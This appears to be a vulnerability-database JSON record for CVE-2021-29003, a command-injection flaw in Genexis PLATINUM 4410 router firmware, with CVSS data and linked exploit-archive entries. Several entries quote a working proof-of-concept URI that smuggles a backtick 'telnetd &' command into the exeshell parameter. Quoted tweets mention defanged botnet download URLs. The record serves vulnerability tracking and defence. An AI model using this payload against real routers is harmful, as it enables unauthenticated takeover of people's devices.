DATABASE RESOURCES PRICING ABOUT US

{"id": "CVE-2021-29003", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-29003", "description": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI.", "published": "2021-04-13T06:15:00", "modified": "2022-05-03T16:04:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-29003", "reporter": "cve@mitre.org", "references": ["https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/", "http://packetstormsecurity.com/files/162174/Genexis-PLATINUM-4410-2.1-P4410-V2-1.28-Remote-Command-Execution.html"], "cvelist": ["CVE-2021-29003"], "immutableFields": [], "lastseen": "2022-05-04T15:46:36", "viewCount": 68, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64"]}, {"type": "exploitdb", "idList": ["EDB-ID:49764"]}, {"type": "githubexploit", "idList": ["22E49E4D-BE28-5B28-95F5-3708CC569AEA"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162174"]}, {"type": "zdt", "idList": ["1337DAY-ID-36106"]}], "rev": 4}, "score": {"value": 8.4, "vector": "NONE"}, "twitter": {"counter": 4, "modified": "2021-04-28T11:49:18", "tweets": [{"link": "https://twitter.com/0x7773/status/1391670464309649411", "text": "/hashtag/Necro?src=hashtag_click update \uff0cadd CVE-2021-29003\uff082021-4-13 public Genexis Platinum-4410 wireless router RCE vulnerability\uff09\n/hashtag/opendir?src=hashtag_click hxxp://can6dodp.servepics.com/setup.py \n/hashtag/DGA?src=hashtag_click seeds 0x7228827A \nThe interesting thing is that the download URL is not in the DGA-generated domain . is me ?"}, {"link": "https://twitter.com/0x7773/status/1386582686668529665", "text": "/hashtag/nerco?src=hashtag_click Update files, remove CVE-2021-29003 why?\nurl:hxxp[:]//uw9paqd2qkbbmnpj.servecounterstrike.com"}, {"link": "https://twitter.com/BlogLoki/status/1382468646547517443", "text": "\u3010PoC\u3011CVE-2021-29003"}, {"link": "https://twitter.com/BlogLoki/status/1382468646547517443", "text": "\u3010PoC\u3011CVE-2021-29003"}]}, "exploitation": {"wildExploitedSources": [{"type": "attackerkb", "idList": ["AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64"]}], "wildExploited": true}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64"]}, {"type": "exploitdb", "idList": ["EDB-ID:49764"]}, {"type": "githubexploit", "idList": ["22E49E4D-BE28-5B28-95F5-3708CC569AEA"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162174"]}, {"type": "zdt", "idList": ["1337DAY-ID-36106"]}]}, "vulnersScore": 8.4}, "_state": {"wildexploited": 0, "dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/o:genexis:platinum_4410_firmware:p4410-v2-1.28"], "cpe23": ["cpe:2.3:o:genexis:platinum_4410_firmware:p4410-v2-1.28:*:*:*:*:*:*:*"], "cwe": ["CWE-78"], "affectedSoftware": [{"cpeName": "genexis:platinum_4410_firmware", "version": "p4410-v2-1.28", "operator": "eq", "name": "genexis platinum 4410 firmware"}], "affectedConfiguration": [{"name": "genexis platinum 4410", "cpeName": "genexis:platinum_4410", "version": "2.1", "operator": "eq"}], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "AND", "children": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:o:genexis:platinum_4410_firmware:p4410-v2-1.28:*:*:*:*:*:*:*", "cpe_name": []}]}, {"operator": "OR", "children": [], "cpe_match": [{"vulnerable": false, "cpe23Uri": "cpe:2.3:h:genexis:platinum_4410:2.1:*:*:*:*:*:*:*", "cpe_name": []}]}], "cpe_match": []}]}, "extraReferences": [{"url": "https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/", "name": "https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/162174/Genexis-PLATINUM-4410-2.1-P4410-V2-1.28-Remote-Command-Execution.html", "name": "http://packetstormsecurity.com/files/162174/Genexis-PLATINUM-4410-2.1-P4410-V2-1.28-Remote-Command-Execution.html", "refsource": "MISC", "tags": ["Third Party Advisory", "VDB Entry"]}]}

{"zdt": [{"lastseen": "2021-10-19T04:52:02", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-14T00:00:00", "type": "zdt", "title": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - Remote Code Execution Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2021-04-14T00:00:00", "id": "1337DAY-ID-36106", "href": "https://0day.today/exploit/description/36106", "sourceData": "# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE\r\n# Exploit Author: Jay Sharma \r\n# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28\r\n# Tested on: V2.1\r\n# CVE : CVE-2021-29003\r\n\r\n#steps to reproduce#\r\n\r\nGenexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI\r\n\n\n# 0day.today [2021-10-19] #", "sourceHref": "https://0day.today/exploit/36106", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2021-12-10T15:35:48", "description": "# CVE-2021-29003\nhttps://hackerworld.home.b...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-15T06:14:47", "type": "githubexploit", "title": "Exploit for Vulnerability in Genexis Platinum 4410 Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2021-09-15T06:17:05", "id": "22E49E4D-BE28-5B28-95F5-3708CC569AEA", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "attackerkb": [{"lastseen": "2022-03-09T23:37:16", "description": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-13T00:00:00", "type": "attackerkb", "title": "CVE-2021-29003", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003"], "modified": "2021-04-22T00:00:00", "id": "AKB:A20EB31A-69A2-443A-AFDB-149CBDBCEE64", "href": "https://attackerkb.com/topics/wGZwZkg3Jn/cve-2021-29003", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-04-14T16:54:39", "description": "", "cvss3": {}, "published": "2021-04-14T00:00:00", "type": "packetstorm", "title": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-29003"], "modified": "2021-04-14T00:00:00", "id": "PACKETSTORM:162174", "href": "https://packetstormsecurity.com/files/162174/Genexis-PLATINUM-4410-2.1-P4410-V2-1.28-Remote-Command-Execution.html", "sourceData": "`# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE \n# Date: 12-4-2021 \n# Exploit Author: Jay Sharma \n# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 \n# Tested on: V2.1 \n# CVE : CVE-2021-29003 \n \n#steps to reproduce# \n \nGenexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162174/genexisplatinum4410-exec.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "exploitdb": [{"lastseen": "2022-01-13T05:29:25", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-14T00:00:00", "type": "exploitdb", "title": "Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-29003", "2021-29003"], "modified": "2021-04-14T00:00:00", "id": "EDB-ID:49764", "href": "https://www.exploit-db.com/exploits/49764", "sourceData": "# Exploit Title: Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE\r\n# Date: 12-4-2021\r\n# Exploit Author: Jay Sharma \r\n# Version: Genexis PLATINUM 4410 2.1 P4410-V2-1.28\r\n# Tested on: V2.1\r\n# CVE : CVE-2021-29003\r\n\r\n#steps to reproduce#\r\n\r\nGenexis PLATINUM 4410 2.1 P4410-V2-1.28 devices allow remote attackers to execute arbitrary code via shell metacharacters to sys_config_valid.xgi, as demonstrated by the http://x.x.x.x/sys_config_valid.xgi?exeshell=%60telnetd%20%26%60 URI", "sourceHref": "https://www.exploit-db.com/download/49764", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}